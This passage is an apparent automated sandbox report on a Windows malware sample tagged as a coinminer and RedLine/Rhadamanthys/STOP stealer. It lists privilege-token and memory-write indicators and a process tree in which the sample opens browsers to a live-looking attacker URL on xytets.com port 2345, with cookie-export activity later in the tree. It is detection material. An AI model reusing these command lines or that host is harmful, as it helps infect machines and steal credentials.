3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
4552	ecxupnhfzs.exe
4552	ecxupnhfzs.exe
4552	ecxupnhfzs.exe
4552	ecxupnhfzs.exe
4552	ecxupnhfzs.exe
4552	ecxupnhfzs.exe
4552	ecxupnhfzs.exe
4552	ecxupnhfzs.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
1884	msedge.exe
1884	msedge.exe
1884	msedge.exe
1884	msedge.exe
1884	msedge.exe
1884	msedge.exe
1884	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	1692	i_ecxupnhfzs.exe
Token: SeDebugPrivilege	880	i_fzwurmkecx.exe
Token: SeDebugPrivilege	4148	i_mgeywrojhb.exe
Token: SeDebugPrivilege	5084	i_ebztrlgebw.exe
Token: SeDebugPrivilege	1012	i_oigbytrljd.exe
Token: SeDebugPrivilege	4444	i_tnlfdyvqni.exe
Token: SeDebugPrivilege	3268	i_cavsnlfdxv.exe
Token: SeDebugPrivilege	1836	i_snkfdxvpnl.exe
Token: SeDebugPrivilege	5112	i_usmkfcxvpn.exe
Token: SeDebugPrivilege	4512	i_keczurmjhc.exe
Token: SeDebugPrivilege	1704	i_uomhezwrpj.exe
Token: SeDebugPrivilege	4532	i_ebwuomjebz.exe
Token: SeDebugPrivilege	784	i_eywqojgbzt.exe
Token: SeDebugPrivilege	232	i_ywqolfdyvt.exe
Token: SeDebugPrivilege	436	i_vtnlfdyvqn.exe
Token: SeDebugPrivilege	3500	i_qkfdxvpnif.exe
Token: SeDebugPrivilege	4572	i_spkicxvpki.exe
Token: SeDebugPrivilege	2548	i_cxupmhfzxr.exe
Token: SeDebugPrivilege	5084	i_uomheztrmj.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1884	msedge.exe
1884	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3912 wrote to memory of 2932	3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe	79
PID 3912 wrote to memory of 3692	3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe	80
PID 3692 wrote to memory of 1884	3692	iexplore.exe	81
PID 1884 wrote to memory of 3492	1884	msedge.exe	82
PID 1884 wrote to memory of 4604	1884	msedge.exe	83
PID 1884 wrote to memory of 4792	1884	msedge.exe	84
PID 1884 wrote to memory of 4792	1884	msedge.exe	84
PID 1884 wrote to memory of 4792	1884	msedge.exe	84
PID 1884 wrote to memory of 1560	1884	msedge.exe	85
PID 1884 wrote to memory of 1560	1884	msedge.exe	85
PID 1884 wrote to memory of 4484	1884	msedge.exe	87
PID 1884 wrote to memory of 4484	1884	msedge.exe	87
PID 1884 wrote to memory of 4484	1884	msedge.exe	87
PID 1884 wrote to memory of 3924	1884	msedge.exe	88
PID 1884 wrote to memory of 3924	1884	msedge.exe	88
PID 1884 wrote to memory of 3924	1884	msedge.exe	88
PID 1884 wrote to memory of 4768	1884	msedge.exe	89
PID 1884 wrote to memory of 4620	1884	msedge.exe	90
PID 1884 wrote to memory of 4048	1884	msedge.exe	91
PID 1884 wrote to memory of 5072	1884	msedge.exe	92
PID 1884 wrote to memory of 4768	1884	msedge.exe	89
PID 1884 wrote to memory of 4768	1884	msedge.exe	89
PID 1884 wrote to memory of 4620	1884	msedge.exe	90
PID 1884 wrote to memory of 4620	1884	msedge.exe	90
PID 1884 wrote to memory of 4048	1884	msedge.exe	91
PID 1884 wrote to memory of 4048	1884	msedge.exe	91
PID 1884 wrote to memory of 5072	1884	msedge.exe	92
PID 1884 wrote to memory of 5072	1884	msedge.exe	92
PID 1884 wrote to memory of 1704	1884	msedge.exe	94
PID 1884 wrote to memory of 1704	1884	msedge.exe	94
PID 1884 wrote to memory of 3140	1884	msedge.exe	95
PID 1884 wrote to memory of 3140	1884	msedge.exe	95
PID 1884 wrote to memory of 4396	1884	msedge.exe	97
PID 1884 wrote to memory of 3880	1884	msedge.exe	98
PID 1884 wrote to memory of 4396	1884	msedge.exe	97
PID 1884 wrote to memory of 3880	1884	msedge.exe	98
PID 1884 wrote to memory of 5016	1884	msedge.exe	100
PID 1884 wrote to memory of 3820	1884	msedge.exe	101
PID 3820 wrote to memory of 4420	3820	msedge.exe	102
PID 3912 wrote to memory of 2468	3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe	103
PID 1884 wrote to memory of 3688	1884	msedge.exe	105
PID 1884 wrote to memory of 3688	1884	msedge.exe	105
PID 1884 wrote to memory of 2924	1884	msedge.exe	106
PID 1884 wrote to memory of 2924	1884	msedge.exe	106
PID 4552 wrote to memory of 1760	4552	ecxupnhfzs.exe	108
PID 1884 wrote to memory of 1692	1884	msedge.exe	115
PID 1884 wrote to memory of 1692	1884	msedge.exe	115
PID 1884 wrote to memory of 1252	1884	msedge.exe	112
PID 1884 wrote to memory of 1252	1884	msedge.exe	112
PID 1884 wrote to memory of 3884	1884	msedge.exe	113
PID 1884 wrote to memory of 3884	1884	msedge.exe	113
PID 3912 wrote to memory of 4116	3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe	114
PID 3912 wrote to memory of 5088	3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe	118
PID 4452 wrote to memory of 4076	4452	fzwurmkecx.exe	120
PID 3912 wrote to memory of 4812	3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe	123
PID 3912 wrote to memory of 1400	3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe	127
PID 4860 wrote to memory of 1264	4860	mgeywrojhb.exe	129
PID 3912 wrote to memory of 2428	3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe	132
PID 3912 wrote to memory of 2980	3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe	136
PID 1632 wrote to memory of 2276	1632	ebztrlgebw.exe	138
PID 3912 wrote to memory of 3000	3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe	141
PID 1884 wrote to memory of 5048	1884	msedge.exe	143
PID 1884 wrote to memory of 1964	1884	msedge.exe	144
PID 1884 wrote to memory of 3592	1884	msedge.exe	145

C:\Users\Admin\AppData\Local\Temp\2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3912
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home8102
  2⤵
  - Modifies Internet Explorer settings
  PID:2932
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/ll/out.txt
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:3692
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/ll/out.txt"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:1884
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2e0,0x2e4,0x2e8,0x2dc,0x2f4,0x7ffe8ddec188,0x7ffe8ddec194,0x7ffe8ddec1a0
      4⤵
      PID:3492
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1896,i,5520645937479789828,13883519248337994169,524288 --field-trial-handle=2324,i,17914567318962304425,5653334942149444084,262144 --variations-seed-version --mojo-platform-channel-handle=2440 /prefetch:11
      4⤵
      System Time Discovery
      PID:4604
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1700,i,9871367750257835028,15040047312276628999,262144 --field-trial-handle=2324,i,17914567318962304425,5653334942149444084,262144 --variations-seed-version --mojo-platform-channel-handle=2320 /prefetch:2
      4⤵
      PID:4792
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2584,i,11321383368958454287,5910928254146261684,524288 --field-trial-handle=2324,i,17914567318962304425,5653334942149444084,262144 --variations-seed-version --mojo-platform-channel-handle=2576 /prefetch:13
      4⤵
      PID:1560
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3508,i,6006524061269684326,3911071178132053372,2097152 --field-trial-handle=2324,i,17914567318962304425,5653334942149444084,262144 --variations-seed-version --mojo-platform-channel-handle=3540 /prefetch:1
      4⤵
      PID:4484
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3516,i,8101106863379428325,16589609874383722604,2097152 --field-trial-handle=2324,i,17914567318962304425,5653334942149444084,262144 --variations-seed-version --mojo-platform-channel-handle=3564 /prefetch:1
      4⤵
      PID:3924
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4156,i,7342286248815510588,10434524632756600777,2097152 --field-trial-handle=2324,i,17914567318962304425,5653334942149444084,262144 --variations-seed-version --mojo-platform-channel-handle=4212 /prefetch:1
      4⤵
      PID:4768
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4168,i,18443404435052486804,17651124692212283526,2097152 --field-trial-handle=2324,i,17914567318962304425,5653334942149444084,262144 --variations-seed-version --mojo-platform-channel-handle=4216 /prefetch:9
      4⤵
      PID:4620
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4204,i,6174369866349434007,16217741087115779010,2097152 --field-trial-handle=2324,i,17914567318962304425,5653334942149444084,262144 --variations-seed-version --mojo-platform-channel-handle=4228 /prefetch:1
      4⤵
      PID:4048
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=4232,i,838005076871820418,7056826990858371009,2097152 --field-trial-handle=2324,i,17914567318962304425,5653334942149444084,262144 --variations-seed-version --mojo-platform-channel-handle=4708 /prefetch:9
      4⤵
      PID:5072
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3604,i,11069029686725929564,13652877328895427747,524288 --field-trial-handle=2324,i,17914567318962304425,5653334942149444084,262144 --variations-seed-version --mojo-platform-channel-handle=3696 /prefetch:14
      4⤵
      PID:1704
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5344,i,9284445175113852866,6905549421611191530,524288 --field-trial-handle=2324,i,17914567318962304425,5653334942149444084,262144 --variations-seed-version --mojo-platform-channel-handle=5228 /prefetch:14
      4⤵
      PID:3140
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4896,i,8945193638715968098,8625137650948604762,524288 --field-trial-handle=2324,i,17914567318962304425,5653334942149444084,262144 --variations-seed-version --mojo-platform-channel-handle=5428 /prefetch:14
      4⤵
      PID:4396
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5512,i,14366684993832296235,459292309552543389,524288 --field-trial-handle=2324,i,17914567318962304425,5653334942149444084,262144 --variations-seed-version --mojo-platform-channel-handle=5344 /prefetch:14
      4⤵
      PID:3880
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5836,i,9430653066908723301,830711361646661831,524288 --field-trial-handle=2324,i,17914567318962304425,5653334942149444084,262144 --variations-seed-version --mojo-platform-channel-handle=6064 /prefetch:14
      4⤵
      PID:2060
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5836,i,9430653066908723301,830711361646661831,524288 --field-trial-handle=2324,i,17914567318962304425,5653334942149444084,262144 --variations-seed-version --mojo-platform-channel-handle=6064 /prefetch:14
      4⤵
      PID:5016
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6136,i,14036603303865036478,4626999881862870786,524288 --field-trial-handle=2324,i,17914567318962304425,5653334942149444084,262144 --variations-seed-version --mojo-platform-channel-handle=6132 /prefetch:14
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3820
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
        
        cookie_exporter.exe --cookie-json=1132
        5⤵
        
        PID:4420
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6116,i,16976903335952783389,9427977259844424431,524288 --field-trial-handle=2324,i,17914567318962304425,5653334942149444084,262144 --variations-seed-version --mojo-platform-channel-handle=6328 /prefetch:14
      4⤵
      PID:3688
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6444,i,7194209028162083376,16333395439690576384,524288 --field-trial-handle=2324,i,17914567318962304425,5653334942149444084,262144 --variations-seed-version --mojo-platform-channel-handle=6456 /prefetch:14
      4⤵
      PID:2924
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6356,i,12101126028048786682,11438342971201747424,524288 --field-trial-handle=2324,i,17914567318962304425,5653334942149444084,262144 --variations-seed-version --mojo-platform-channel-handle=6336 /prefetch:14
      4⤵
      PID:1692
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6164,i,704258252272467327,12807310769723557730,524288 --field-trial-handle=2324,i,17914567318962304425,5653334942149444084,262144 --variations-seed-version --mojo-platform-channel-handle=6256 /prefetch:14
      4⤵
      PID:1252
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6256,i,16455245732733090682,14445650346513879127,524288 --field-trial-handle=2324,i,17914567318962304425,5653334942149444084,262144 --variations-seed-version --mojo-platform-channel-handle=6732 /prefetch:14
      4⤵
      PID:3884
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5176,i,8524011515676739526,7470648585095446048,524288 --field-trial-handle=2324,i,17914567318962304425,5653334942149444084,262144 --variations-seed-version --mojo-platform-channel-handle=5168 /prefetch:14
      4⤵
      PID:5048
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5180,i,12706064244013229701,15378875829993125861,524288 --field-trial-handle=2324,i,17914567318962304425,5653334942149444084,262144 --variations-seed-version --mojo-platform-channel-handle=5152 /prefetch:14
      4⤵
      PID:1964
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5164,i,6076574547148456758,10269706350720152450,524288 --field-trial-handle=2324,i,17914567318962304425,5653334942149444084,262144 --variations-seed-version --mojo-platform-channel-handle=5132 /prefetch:14
      4⤵
      PID:3592
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4340,i,1296567028500221406,10778404991623328008,524288 --field-trial-handle=2324,i,17914567318962304425,5653334942149444084,262144 --variations-seed-version --mojo-platform-channel-handle=5572 /prefetch:14
      4⤵
      PID:3984
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3684,i,13948398169110612143,16118393207957067074,524288 --field-trial-handle=2324,i,17914567318962304425,5653334942149444084,262144 --variations-seed-version --mojo-platform-channel-handle=6872 /prefetch:14
      4⤵
      PID:1752
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5856,i,8266907778536275555,12518730897372226687,524288 --field-trial-handle=2324,i,17914567318962304425,5653334942149444084,262144 --variations-seed-version --mojo-platform-channel-handle=6164 /prefetch:14
      4⤵
      PID:5116
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3044,i,1209308639279844880,1622344673408932554,524288 --field-trial-handle=2324,i,17914567318962304425,5653334942149444084,262144 --variations-seed-version --mojo-platform-channel-handle=5460 /prefetch:14
      4⤵
      PID:3268
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
